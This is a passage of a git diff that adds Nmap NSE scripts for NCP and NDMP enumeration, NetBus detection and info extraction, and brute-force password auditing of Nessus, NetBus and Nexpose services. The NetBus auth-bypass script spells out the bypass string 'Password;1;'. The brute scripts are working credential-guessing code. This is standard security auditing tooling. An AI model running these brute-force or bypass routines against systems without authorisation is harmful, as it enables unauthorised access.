+-- | CN=novlxregd.O=cqure
+-- | CN=novlxsrvd.O=cqure
+-- | CN=OESCommonProxy_linux-l84t.O=cqure
+-- | CN=sasi.OU=hr.O=cqure
+-- |_ CN=wwwrun.O=cqure
+--
+
+-- Version 0.1
+-- Created 04/26/2011 - v0.1 - created by Patrik Karlsson
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"auth", "safe"}
+
+
+portrule = shortport.port_or_service(524, "ncp", "tcp")
+
+action = function(host, port)
+ local helper = ncp.Helper:new(host,port)
+
+ local status, resp = helper:connect()
+ if ( not(status) ) then return stdnse.format_output(false, resp) end
+
+ status, resp = helper:search("[Root]", "User", "*")
+ if ( not(status) ) then return stdnse.format_output(false, resp) end
+
+ local output = {}
+
+ for _, entry in ipairs(resp) do
+ table.insert(output, entry.name)
+ end
+
+ return stdnse.format_output(true, output)
+end
+
diff --git a/scripts/ncp-serverinfo.nse b/scripts/ncp-serverinfo.nse
new file mode 100644
index 0000000..c540d5a
--- /dev/null
+++ b/scripts/ncp-serverinfo.nse
@@ -0,0 +1,51 @@
+local ncp = require "ncp"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+description = [[
+Retrieves eDirectory server information (OS version, server name,
+mounts, etc.) from the Novell NetWare Core Protocol (NCP) service.
+]]
+
+---
+--
+--@output
+-- PORT STATE SERVICE
+-- 524/tcp open ncp
+-- | ncp-serverinfo:
+-- | Server name: LINUX-L84T
+-- | Tree Name: IIT-LABTREE
+-- | OS Version: 5.70 (rev 7)
+-- | Product version: 6.50 (rev 7)
+-- | OS Language ID: 4
+-- | Addresses
+-- | 10.0.200.33 524/udp
+-- | 10.0.200.33 524/tcp
+-- | Mounts
+-- | SYS
+-- | ADMIN
+-- |_ _ADMIN
+
+-- Version 0.1
+-- Created 04/26/2011 - v0.1 - created by Patrik Karlsson
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+
+
+portrule = shortport.port_or_service(524, "ncp", "tcp")
+
+action = function(host, port)
+ local helper = ncp.Helper:new(host,port)
+
+ local status, resp = helper:connect()
+ if ( not(status) ) then return stdnse.format_output(false, resp) end
+
+ status, resp = helper:getServerInfo()
+ if ( not(status) ) then return stdnse.format_output(false, resp) end
+
+ helper:close()
+
+ return stdnse.format_output(true, resp)
+end
diff --git a/scripts/ndmp-fs-info.nse b/scripts/ndmp-fs-info.nse
new file mode 100644
index 0000000..8ff6a91
--- /dev/null
+++ b/scripts/ndmp-fs-info.nse
@@ -0,0 +1,72 @@
+local ndmp = require "ndmp"
+local shortport = require "shortport"
+local tab = require "tab"
+local stdnse = require "stdnse"
+
+description = [[
+Lists remote file systems by querying the remote device using the Network
+Data Management Protocol (ndmp). NDMP is a protocol intended to transport
+data between a NAS device and the backup device, removing the need for the
+data to pass through the backup server. The following products are known
+to support the protocol:
+* Amanda
+* Bacula
+* CA Arcserve
+* CommVault Simpana
+* EMC Networker
+* Hitachi Data Systems
+* IBM Tivoli
+* Quest Software Netvault Backup
+* Symantec Netbackup
+* Symantec Backup Exec
+]]
+
+---
+-- @usage
+-- nmap -p 10000 --script ndmp-fs-info <ip>
+--
+-- @output
+-- PORT STATE SERVICE REASON VERSION
+-- 10000/tcp open ndmp syn-ack Symantec/Veritas Backup Exec ndmp
+-- | ndmp-fs-info:
+-- | FS Logical device Physical device
+-- | NTFS C: Device0000
+-- | NTFS E: Device0000
+-- | UNKNOWN Shadow Copy Components Device0000
+-- |_UNKNOWN System State Device0000
+--
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+
+portrule = shortport.port_or_service(10000, "ndmp", "tcp")
+
+local function fail(err) return stdnse.format_output(false, err) end
+
+action = function(host, port)
+
+ local helper = ndmp.Helper:new(host, port)
+ local status, msg = helper:connect()
+ if ( not(status) ) then return fail("Failed to connect to server") end
+
+ status, msg = helper:getFsInfo()
+ if ( not(status) ) then return fail("Failed to get filesystem information from server") end
+ if ( msg.header.error == ndmp.NDMP.ErrorType.NOT_AUTHORIZED_ERROR ) then return fail("Not authorized to get filesystem information from server") end
+ helper:close()
+
+ local result = tab.new(3)
+ tab.addrow(result, "FS", "Logical device", "Physical device")
+
+ for _, item in ipairs(msg.fsinfo) do
+ if ( item.fs_logical_device and #item.fs_logical_device ~= 0 ) then
+ if ( item and item.fs_type and item.fs_logical_device and item.fs_physical_device ) then
+ tab.addrow(result, item.fs_type, item.fs_logical_device:gsub("?", " "), item.fs_physical_device)
+ end
+ end
+ end
+
+ return "\n" .. tab.dump(result)
+end
diff --git a/scripts/ndmp-version.nse b/scripts/ndmp-version.nse
new file mode 100644
index 0000000..3384326
--- /dev/null
+++ b/scripts/ndmp-version.nse
@@ -0,0 +1,71 @@
+local ndmp = require "ndmp"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+description = [[
+Retrieves version information from the remote Network Data Management Protocol
+(ndmp) service. NDMP is a protocol intended to transport data between a NAS
+device and the backup device, removing the need for the data to pass through
+the backup server. The following products are known to support the protocol:
+* Amanda
+* Bacula
+* CA Arcserve
+* CommVault Simpana
+* EMC Networker
+* Hitachi Data Systems
+* IBM Tivoli
+* Quest Software Netvault Backup
+* Symantec Netbackup
+* Symantec Backup Exec
+]]
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"version"}
+
+
+portrule = shortport.version_port_or_service(10000, "ndmp", "tcp")
+
+local function fail(err) return stdnse.format_output(false, err) end
+
+local function vendorLookup(vendor)
+ if ( vendor:match("VERITAS") ) then
+ return "Symantec/Veritas Backup Exec ndmp"
+ else
+ return vendor
+ end
+end
+
+action = function(host, port)
+ local helper = ndmp.Helper:new(host, port)
+ local status, err = helper:connect()
+ if ( not(status) ) then return fail("Failed to connect to server") end
+
+ local hi, si
+ status, hi = helper:getHostInfo()
+ if ( not(status) ) then return fail("Failed to get host information from server") end
+
+ status, si = helper:getServerInfo()
+ if ( not(status) ) then return fail("Failed to get server information from server") end
+ helper:close()
+
+ port.version.name = "ndmp"
+ port.version.product = vendorLookup(si.serverinfo.vendor)
+
+ -- hostinfo can be nil if we get an auth error
+ if ( hi.hostinfo ) then
+ if ( hi.hostinfo.hostname ) then
+ port.version.extrainfo = ("Name: %s; "):format(hi.hostinfo.hostname)
+ end
+
+ local major, minor, build, smajor, sminor = hi.hostinfo.osver:match("Major Version=(%d+) Minor Version=(%d+) Build Number=(%d+) ServicePack Major=(%d+) ServicePack Minor=(%d+)")
+ if ( major and minor and build and smajor and sminor ) then
+ port.version.extrainfo = port.version.extrainfo .. ("OS ver: %d.%d; OS Build: %d; OS Service Pack: %d"):format(major, minor, build, smajor)
+ end
+
+ port.version.ostype = hi.hostinfo.ostype
+ end
+
+ nmap.set_port_version(host, port)
+end
diff --git a/scripts/nessus-brute.nse b/scripts/nessus-brute.nse
new file mode 100644
index 0000000..409fba4
--- /dev/null
+++ b/scripts/nessus-brute.nse
@@ -0,0 +1,153 @@
+local brute = require "brute"
+local creds = require "creds"
+local match = require "match"
+local shortport = require "shortport"
+
+description=[[
+Performs brute force password auditing against a Nessus vulnerability scanning daemon using the NTP 1.2 protocol.
+]]
+
+---
+-- @usage
+-- nmap --script nessus-brute -p 1241 <host>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 1241/tcp open nessus
+-- | nessus-brute:
+-- | Accounts
+-- | nessus:nessus - Valid credentials
+-- | Statistics
+-- |_ Performed 35 guesses in 75 seconds, average tps: 0
+--
+-- This script does not appear to perform well when run using multiple threads
+-- Although, it's very slow running under a single thread it does work as intended
+--
+
+--
+-- Version 0.1
+-- Created 22/10/2011 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+
+portrule = shortport.port_or_service(1241, "nessus", "tcp")
+
+Driver =
+{
+
+ new = function(self, host, port)
+ local o = { host = host, port = port }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ connect = function( self )
+ self.socket = brute.new_socket()
+ if ( not(self.socket:connect(self.host, self.port, "ssl")) ) then
+ return false
+ end
+ return true
+ end,
+
+ login = function( self, username, password )
+ local handshake = "< NTP/1.2 >< plugins_cve_id plugins_version timestamps dependencies fast_login >\n"
+
+ local status, err = self.socket:send(handshake)
+ if ( not(status) ) then
+ local err = brute.Error:new( "Failed to send handshake to server" )
+ err:setAbort(true)
+ return false, err
+ end
+
+ local line
+ status, line = self.socket:receive_buf(match.pattern_limit("\r?\n", 2048), false)
+ if ( not(status) or line ~= "< NTP/1.2 >" ) then
+ local err = brute.Error:new( "The server failed to respond to handshake" )
+ err:setAbort( true )
+ return false, err
+ end
+
+ status, line = self.socket:receive()
+ if ( not(status) or line ~= "User : ") then
+ local err = brute.Error:new( "Expected \"User : \", got something else" )
+ err:setRetry( true )
+ return false, err
+ end
+
+ status = self.socket:send(username .. "\n")
+ if ( not(status) ) then
+ local err = brute.Error:new( "Failed to send username to server" )
+ err:setAbort( true )
+ return false, err
+ end
+
+ status, line = self.socket:receive()
+ if ( not(status) or line ~= "Password : ") then
+ local err = brute.Error:new( "Expected \"Password : \", got something else" )
+ err:setRetry( true )
+ return false, err
+ end
+
+ status = self.socket:send(password)
+ if ( not(status) ) then
+ local err = brute.Error:new( "Failed to send password to server" )
+ err:setAbort( true )
+ return false, err
+ end
+
+ -- the line feed has to be sent separate like this, otherwise we don't
+ -- receive the server response and the server simply hangs up
+ status = self.socket:send("\n")
+ if ( not(status) ) then
+ local err = brute.Error:new( "Failed to send password to server" )
+ err:setAbort( true )
+ return false, err
+ end
+
+ -- we force a brief incorrect statement just to get an error message to
+ -- confirm that we've successfully authenticated to the server
+ local bad_cli_pref = "CLIENT <|> PREFERENCES <|>\n<|> CLIENT\n"
+ status = self.socket:send(bad_cli_pref)
+ if ( not(status) ) then
+ local err = brute.Error:new( "Failed to send bad client preferences packet to server" )
+ err:setAbort( true )
+ return false, err
+ end
+
+ -- if the server disconnects us at this point, it's most likely due to
+ -- that the authentication failed, so simply treat it as an incorrect
+ -- password, rather than abort.
+ status, line = self.socket:receive()
+ if ( not(status) ) then
+ return false, brute.Error:new( "Incorrect password" )
+ end
+
+ if ( line:match("SERVER <|> PREFERENCES_ERRORS <|>") ) then
+ return true, creds.Account:new(username, password, creds.State.VALID)
+ end
+
+ return false, brute.Error:new( "Incorrect password" )
+ end,
+
+ disconnect = function( self )
+ self.socket:close()
+ end,
+
+}
+
+action = function(host, port)
+
+ local engine = brute.Engine:new(Driver, host, port)
+ engine.options.script_name = SCRIPT_NAME
+
+ -- the nessus service doesn't appear to do very well with multiple threads
+ engine:setMaxThreads(1)
+ local status, result = engine:start()
+
+ return result
+end
diff --git a/scripts/nessus-xmlrpc-brute.nse b/scripts/nessus-xmlrpc-brute.nse
new file mode 100644
index 0000000..5e50cb0
--- /dev/null
+++ b/scripts/nessus-xmlrpc-brute.nse
@@ -0,0 +1,130 @@
+local brute = require "brute"
+local creds = require "creds"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description=[[
+Performs brute force password auditing against a Nessus vulnerability scanning daemon using the XMLRPC protocol.
+]]
+
+---
+-- @output
+-- PORT STATE SERVICE REASON
+-- 8834/tcp open unknown syn-ack
+-- | nessus-xmlrpc-brute:
+-- | Accounts
+-- | nessus:nessus - Valid credentials
+-- | Statistics
+-- |_ Performed 1933 guesses in 26 seconds, average tps: 73
+--
+-- @args nessus-xmlrpc-brute.threads sets the number of threads.
+-- @args nessus-xmlrpc-brute.timeout socket timeout for connecting to Nessus (default 5s)
+
+author = "Patrik Karlsson"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"intrusive", "brute"}
+
+
+portrule = shortport.port_or_service(8834, "ssl/http", "tcp")
+
+local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..'.timeout'))
+arg_timeout = (arg_timeout or 5) * 1000
+local arg_threads = tonumber(stdnse.get_script_args("nessus-xmlrpc-brute.threads"))
+
+local function authenticate(host, port, username, password)
+ local post_data = ("login=%s&password=%s"):format(username, password)
+
+ local headers = {
+ "POST /login HTTP/1.1",
+ "User-Agent: Nmap",
+ ("Host: %s:%d"):format(host.ip, port.number),
+ "Accept: */*",
+ ("Content-Length: %d"):format(#post_data),
+ "Content-Type: application/x-www-form-urlencoded",
+ }
+
+ local data = table.concat(headers, "\r\n") .. "\r\n\r\n" .. post_data
+ local socket = brute.new_socket()
+ socket:set_timeout(arg_timeout)
+
+ local status, err = socket:connect(host, port)
+ if ( not(status) ) then
+ return false, "Failed to connect to server"
+ end
+ local status, err = socket:send(data)
+ if ( not(status) ) then
+ return false, "Failed to send request to server"
+ end
+ local status, response = socket:receive()
+ socket:close()
+ if ( not(status) ) then
+ return false, "Failed to receive response from server"
+ end
+ return status, response
+end
+
+Driver =
+{
+ new = function (self, host, port )
+ local o = { host = host, port = port }
+ setmetatable (o,self)
+ self.__index = self
+ return o
+ end,
+
+ connect = function ( self ) return true end,
+
+ login = function( self, username, password )
+
+ local status, response = authenticate(self.host, self.port, username, password)
+ if ( status and response ) then
+ if ( response:match("^HTTP/1.1 200 OK.*<status>OK</status>") ) then
+ return true, creds.Account:new(username, password, creds.State.VALID)
+ elseif ( response:match("^HTTP/1.1 200 OK.*<status>ERROR</status>") ) then
+ return false, brute.Error:new("incorrect login")
+ end
+ end
+ local err = brute.Error:new( "incorrect response from server" )
+ err:setRetry(true)
+ return false, err
+ end,
+
+ disconnect = function( self ) return true end,
+}
+
+local function fail(err) return stdnse.format_output(false, err) end
+
+action = function(host, port)
+
+ local status, response = authenticate(host, port, "nmap-ssl-test-probe", "nmap-ssl-test-probe")
+ if ( not(status) ) then
+ return fail(response)
+ end
+ -- patch the protocol due to the ugly way the Nessus web server works.
+ -- The server answers non-ssl connections as legitimate http stating that
+ -- the server should be connected to using https on the same port. ugly.
+ if ( status and response:match("^HTTP/1.1 400 Bad request\r\n") ) then
+ port.protocol = "ssl"
+ status, response = authenticate(host, port, "nmap-ssl-test-probe", "nmap-ssl-test-probe")
+ if ( not(status) ) then
+ return fail(response)
+ end
+ end
+
+ if ( not(response:match("^HTTP/1.1 200 OK.*Server: NessusWWW.*<status>ERROR</status>")) ) then
+ return fail("Failed to detect Nessus Web server")
+ end
+
+ local engine = brute.Engine:new(Driver, host, port)
+ if ( arg_threads ) then
+ engine:setMaxThreads(arg_threads)
+ end
+ engine.options.script_name = SCRIPT_NAME
+ local result
+ status, result = engine:start()
+ return result
+end
diff --git a/scripts/netbus-auth-bypass.nse b/scripts/netbus-auth-bypass.nse
new file mode 100644
index 0000000..d5bc0ee
--- /dev/null
+++ b/scripts/netbus-auth-bypass.nse
@@ -0,0 +1,63 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+description = [[
+Checks if a NetBus server is vulnerable to an authentication bypass
+vulnerability which allows full access without knowing the password.
+
+For example a server running on TCP port 12345 on localhost with
+this vulnerability is accessible to anyone. An attacker could
+simply form a connection to the server ( ncat -C 127.0.0.1 12345 )
+and login to the service by typing Password;1; into the console.
+]]
+
+---
+-- @see netbus-brute.nse
+-- @usage
+-- nmap -p 12345 --script netbus-auth-bypass <target>
+--
+-- @output
+-- 12345/tcp open netbus
+-- |_netbus-auth-bypass: Vulnerable
+
+author = "Toni Ruottu"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"auth", "safe", "vuln"}
+
+
+dependencies = {"netbus-version", "netbus-brute", "netbus-info"}
+
+portrule = shortport.port_or_service (12345, "netbus", {"tcp"})
+
+action = function( host, port )
+
+ local socket = nmap.new_socket()
+ local status, err = socket:connect(host, port)
+ if not status then
+ return
+ end
+ local buffer, _ = stdnse.make_buffer(socket, "\r")
+ _ = buffer()
+ if not (_ and _:match("^NetBus")) then
+ stdnse.debug1("Not NetBus")
+ return nil
+ end
+
+ -- The first argument of Password is the super-login bit.
+ -- On vulnerable servers any password will do as long as
+ -- we send the super-login bit. Regular NetBus has only
+ -- one password. Thus, if we can login with two different
+ -- passwords using super-login, the server is vulnerable.
+
+ socket:send("Password;1;\r") --password: empty
+ if buffer() ~= "Access;1" then
+ return
+ end
+ socket:send("Password;1; \r") --password: space
+ if buffer() == "Access;1" then
+ return "Vulnerable"
+ end
+ return "Not vulnerable, but password is empty"
+end
+
diff --git a/scripts/netbus-brute.nse b/scripts/netbus-brute.nse
new file mode 100644
index 0000000..50464ad
--- /dev/null
+++ b/scripts/netbus-brute.nse
@@ -0,0 +1,63 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local unpwdb = require "unpwdb"
+
+description = [[
+Performs brute force password auditing against the Netbus backdoor ("remote administration") service.
+]]
+
+---
+-- @see netbus-auth-bypass.nse
+-- @usage
+-- nmap -p 12345 --script netbus-brute <target>
+--
+-- @output
+-- 12345/tcp open netbus
+-- |_netbus-brute: password123
+
+author = "Toni Ruottu"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"brute", "intrusive"}
+
+
+dependencies = {"netbus-version"}
+
+portrule = shortport.port_or_service (12345, "netbus", {"tcp"})
+
+action = function( host, port )
+ local try = nmap.new_try()
+ local passwords = try(unpwdb.passwords())
+ local socket = nmap.new_socket()
+ local status, err = socket:connect(host, port)
+ if not status then
+ return
+ end
+ local buffer, err = stdnse.make_buffer(socket, "\r")
+ local _ = buffer() --skip the banner
+ if not (_ and _:match("^NetBus")) then
+ stdnse.debug1("Not NetBus")
+ return nil
+ end
+ for password in passwords do
+ local foo = string.format("Password;0;%s\r", password)
+ socket:send(foo)
+ local login = buffer()
+ if login == "Access;1" then
+ -- Store the password for other netbus scripts
+ local key = string.format("%s:%d", host.ip, port.number)
+ if not nmap.registry.netbuspasswords then
+ nmap.registry.netbuspasswords = {}
+ end
+ nmap.registry.netbuspasswords[key] = password
+ if password == "" then
+ return "<empty>"
+ end
+ return string.format("%s", password)
+ end
+ end
+ socket:close()
+end
+
+
diff --git a/scripts/netbus-info.nse b/scripts/netbus-info.nse
new file mode 100644
index 0000000..447c6e6
--- /dev/null
+++ b/scripts/netbus-info.nse
@@ -0,0 +1,200 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+
+description = [[
+Opens a connection to a NetBus server and extracts information about
+the host and the NetBus service itself.
+
+The extracted host information includes a list of running
+applications, and the hosts sound volume settings.
+
+The extracted service information includes its access control list
+(acl), server information, and setup. The acl is a list of IP
+addresses permitted to access the service. Server information
+contains details about the server installation path, restart
+persistence, user account that the server is running on, and the
+amount of connected NetBus clients. The setup information contains
+configuration details, such as the services TCP port number, traffic
+logging setting, password, an email address for receiving login
+notifications, an email address used for sending the notifications,
+and an smtp-server used for notification delivery.
+]]
+
+---
+-- @usage
+-- nmap -p 12345 --script netbus-info <target> --script-args netbus-info.password=<password>
+--
+-- @output
+-- 12345/tcp open netbus
+-- | netbus-info:
+-- | ACL
+-- | 127.0.0.1
+-- | APPLICATIONS
+-- | PuTTY Configuration
+-- | INFO
+-- | Program Path: Z:\home\joeuser\Desktop\Patch.exe
+-- | Restart persistent: Yes
+-- | Login ID: joeuser
+-- | Clients connected to this host: 1
+-- | SETUP
+-- | TCP-port: 12345
+-- | Log traffic: 1
+-- | Password: password123
+-- | Notify to: admin@example.com
+-- | Notify from: spoofed@example.org
+-- | SMTP-server: smtp.example.net
+-- | VOLUME
+-- | Wave: 0
+-- | Synth: 0
+-- |_ Cd: 0
+-- @xmloutput
+-- <table key="ACL">
+-- <elem>127.0.0.1</elem>
+-- </table>
+-- <table key="APPLICATIONS">
+-- <elem>PuTTY Configuration</elem>
+-- </table>
+-- <table key="INFO">
+-- <elem key="Program Path">Z:\home\joeuser\Desktop\Patch.exe</elem>
+-- <elem key="Restart persistent">Yes</elem>
+-- <elem key="Login ID">joeuser</elem>
+-- <elem key="Clients connected to this host">1</elem>
+-- </table>
+-- <table key="SETUP">
+-- <elem key="TCP-port">12345</elem>
+-- <elem key="Log traffic">1</elem>
+-- <elem key="Password">password123</elem>
+-- <elem key="Notify to">admin@example.com</elem>
+-- <elem key="Notify from">spoofed@example.org</elem>
+-- <elem key="SMTP-server">smtp.example.net</elem>
+-- </table>
+-- <table key="VOLUME">
+-- <elem key="Wave">0</elem>
+-- <elem key="Synth">0</elem>
+-- <elem key="Cd">0</elem>
+-- </table>
+--
+-- @args netbus-info.password The password used for authentication
+
+author = "Toni Ruottu"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+
+
+dependencies = {"netbus-version", "netbus-brute"}
+
+portrule = shortport.port_or_service (12345, "netbus", {"tcp"})
+
+local function format_acl(acl)
+ if acl == nil then
+ return nil
+ end
+ local payload = string.sub(acl, 9) --skip header
+ local fields = stringaux.strsplit("|", payload)
+ table.remove(fields, (# fields))
+ return fields
+end
+
+local function format_apps(apps)
+ if apps == nil then
+ return nil
+ end
+ local payload = string.sub(apps, 10) --skip header
+ local fields = stringaux.strsplit("|", payload)
+ table.remove(fields, (# fields))
+ return fields
+end
+
+local function format_info(info)
+ if info == nil then
+ return nil
+ end
+ local payload = string.sub(info, 6) --skip header
+ local fields = stringaux.strsplit("|", payload)
+ return fields
+end
+
+local function format_setup(setup)
+ if setup == nil then
+ return nil
+ end
+ local fields = stringaux.strsplit(";", setup)
+ if # fields < 7 then
+ return nil
+ end
+ local formatted = stdnse.output_table()
+ formatted["TCP-port"] = fields[2]
+ formatted["Log traffic"] = fields[3]
+ formatted["Password"] = fields[4]
+ formatted["Notify to"] = fields[5]
+ formatted["Notify from"] = fields[6]
+ formatted["SMTP-server"] = fields[7]
+ return formatted
+end
+
+local function format_volume(volume)
+ if volume == nil then
+ return nil
+ end
+ local fields = stringaux.strsplit(";", volume)
+ if # fields < 4 then
+ return nil
+ end
+ local formatted = stdnse.output_table()
+ formatted["Wave"] = fields[2]
+ formatted["Synth"] = fields[3]
+ formatted["Cd"] = fields[4]
+ return formatted
+end
+
+action = function( host, port )
+ local password = nmap.registry.args[SCRIPT_NAME .. ".password"]
+ if not password and nmap.registry.netbuspasswords then
+ local key = string.format("%s:%d", host.ip, port.number)
+ password = nmap.registry.netbuspasswords[key]
+ end
+ if not password then
+ password = ""
+ end
+ local socket = nmap.new_socket()
+ socket:set_timeout(5000)
+ local status, err = socket:connect(host, port)
+ local buffer, err = stdnse.make_buffer(socket, "\r")
+ local _ = buffer()
+ if not (_ and _:match("^NetBus")) then
+ stdnse.debug1("Not NetBus")
+ return nil
+ end
+ socket:send(string.format("Password;1;%s\r", password))
+ local gotin = buffer()
+ if gotin == "Access;0" then
+ return
+ end
+
+ socket:send("GetInfo\r")
+ local info = buffer()
+ socket:send("GetSetup\r")
+ local setup = buffer()
+ socket:send("GetACL\r")
+ local acl = buffer()
+ socket:send("GetApps\r")
+ local apps = buffer()
+ socket:send("GetVolume\r")
+ local volume = buffer()
+ socket:close()
+
+ local response = stdnse.output_table()
+ response["ACL"] = format_acl(acl)
+ response["APPLICATIONS"] = format_apps(apps)
+ response["INFO"] = format_info(info)
+ response["SETUP"] = format_setup(setup)
+ response["VOLUME"] = format_volume(volume)
+
+ return response
+end
+
+
diff --git a/scripts/netbus-version.nse b/scripts/netbus-version.nse
new file mode 100644
index 0000000..c8332fc
--- /dev/null
+++ b/scripts/netbus-version.nse
@@ -0,0 +1,54 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+description = [[
+Extends version detection to detect NetBuster, a honeypot service
+that mimes NetBus.
+]]
+
+---
+-- @usage
+-- nmap -sV -p 12345 --script netbus-version <target>
+--
+-- @output
+-- 12345/tcp open netbus Netbuster (honeypot)
+
+author = "Toni Ruottu"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"version"}
+
+
+portrule = shortport.version_port_or_service ({}, "netbus", {"tcp"})
+
+action = function( host, port )
+
+ local socket = nmap.new_socket()
+ socket:set_timeout(5000)
+ local status, err = socket:connect(host, port)
+ if not status then
+ return
+ end
+ local buffer, _ = stdnse.make_buffer(socket, "\r")
+ _ = buffer()
+ if not (_ and _:match("^NetBus")) then
+ stdnse.debug1("Not NetBus")
+ return nil
+ end
+ socket:send("Password;0;\r")
+
+ --NetBus answers to auth
+ if buffer() ~= nil then
+ return
+ end
+
+ --NetBuster does not
+ port.version.name = "netbus"
+ port.version.product = "NetBuster"
+ port.version.extrainfo = "honeypot"
+ port.version.version = nil
+ nmap.set_port_version(host, port)
+ return
+end
+
+
diff --git a/scripts/nexpose-brute.nse b/scripts/nexpose-brute.nse
new file mode 100644
index 0000000..38a8199
--- /dev/null
+++ b/scripts/nexpose-brute.nse
@@ -0,0 +1,83 @@
+local brute = require "brute"
+local creds = require "creds"
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+local openssl = stdnse.silent_require "openssl"
+
+description=[[
+Performs brute force password auditing against a Nexpose vulnerability scanner
+using the API 1.1.
+
+As the Nexpose application enforces account lockout after 4 incorrect login
+attempts, the script performs only 3 guesses per default. This can be
+altered by supplying the <code>brute.guesses</code> argument a different
+value or 0 (zero) to guess the whole dictionary.
+]]
+
+---
+-- @usage
+-- nmap --script nexpose-brute -p 3780 <ip>
+--
+-- @output
+-- PORT STATE SERVICE REASON VERSION
+-- 3780/tcp open ssl/nexpose syn-ack NeXpose NSC 0.6.4
+-- | nexpose-brute:
+-- | Accounts
+-- | nxadmin:nxadmin - Valid credentials
+-- | Statistics
+-- |_ Performed 5 guesses in 1 seconds, average tps: 5
+--
+
+author = "Vlatko Kosturjak"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"intrusive", "brute"}
+
+
+portrule = shortport.port_or_service(3780, "nexpose", "tcp")
+
+Driver =
+{
+ new = function (self, host, port)
+ local o = { host = host, port = port }
+ setmetatable (o,self)
+ self.__index = self
+ return o
+ end,
+
+ connect = function ( self ) return true end,
+
+ login = function( self, username, password )
+ local postdata='<?xml version="1.0" encoding="UTF-8"?><LoginRequest sync-id="1" user-id="'..username..'" password="'..password..'"></LoginRequest>'
+ local response = http.post( self.host, self.port, '/api/1.1/xml', { no_cache = true, header = { ["Content-Type"] = "text/xml" } }, nil, postdata )
+
+ if (not(response)) then
+ local err = brute.Error:new( "Couldn't send/receive HTTPS request" )
+ err:setRetry( true )
+ return false, err
+ end
+
+ if (response.body == nil or response.body:match('<LoginResponse.*success="0"')) then
+ stdnse.debug2("Bad login: %s/%s", username, password)
+ return false, brute.Error:new( "Bad login" )
+ elseif (response.body:match('<LoginResponse.*success="1"')) then
+ stdnse.debug1("Good login: %s/%s", username, password)
+ return true, creds.Account:new(username, password, creds.State.VALID)
+ end
+ stdnse.debug1("WARNING: Unhandled response: %s", response.body)
+ return false, brute.Error:new( "incorrect response from server" )
+ end,
+
+ disconnect = function( self ) return true end,
+}
+
+action = function(host, port)
+ local engine = brute.Engine:new(Driver, host, port)
+ engine.options.script_name = SCRIPT_NAME
+ engine.options.max_guesses = tonumber(stdnse.get_script_args('brute.guesses')) or 3
+ local status, result = engine:start()
+ return result
+end
diff --git a/scripts/nfs-ls.nse b/scripts/nfs-ls.nse
new file mode 100644
index 0000000..d6185a0
--- /dev/null
+++ b/scripts/nfs-ls.nse
@@ -0,0 +1,470 @@
+local rpc = require "rpc"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local ls = require "ls"
+local table = require "table"
+local nmap = require "nmap"
+
+description = [[
+Attempts to get useful information about files from NFS exports.
+The output is intended to resemble the output of <code>ls</code>.
+
+The script starts by enumerating and mounting the remote NFS exports. After
+that it performs an NFS GETATTR procedure call for each mounted point
+in order to get its ACLs.
+For each mounted directory the script will try to list its file entries
+with their attributes.
+
+Since the file attributes shown in the results are the result of
+GETATTR, READDIRPLUS, and similar procedures, the attributes
+are the attributes of the local filesystem.
+
+These access permissions are shown only with NFSv3:
+* Read: Read data from file or read a directory.
+* Lookup: Look up a name in a directory
+ (no meaning for non-directory objects).
+* Modify: Rewrite existing file data or modify existing
+ directory entries.
+* Extend: Write new data or add directory entries.
+* Delete: Delete an existing directory entry.
+* Execute: Execute file (no meaning for a directory).
+
+Recursive listing is not implemented.
+]]
+
+---
+-- @usage
+-- nmap -p 111 --script=nfs-ls <target>
+-- nmap -sV --script=nfs-ls <target>
+--
+-- @args nfs-ls.time Specifies which one of the last mac times to use in
+-- the files attributes output. Possible values are:
+-- * <code>m</code>: last modification time (mtime)
+-- * <code>a</code>: last access time (atime)
+-- * <code>c</code>: last change time (ctime)
+-- The default value is <code>m</code> (mtime).
+-- @args nfs.version The NFS protocol version to use
+--
+-- @output
+-- PORT STATE SERVICE
+-- 111/tcp open rpcbind
+-- | nfs-ls:
+-- | Volume /mnt/nfs/files
+-- | access: Read Lookup NoModify NoExtend NoDelete NoExecute
+-- | PERMISSION UID GID SIZE MODIFICATION TIME FILENAME
+-- | drwxr-xr-x 1000 100 4096 2010-06-17 12:28 /mnt/nfs/files
+-- | drwxr--r-- 1000 1002 4096 2010-05-14 12:58 sources
+-- | -rw------- 1000 1002 23606 2010-06-17 12:28 notes
+-- |
+-- | Volume /home/storage/backup
+-- | access: Read Lookup Modify Extend Delete NoExecute
+-- | PERMISSION UID GID SIZE MODIFICATION TIME FILENAME
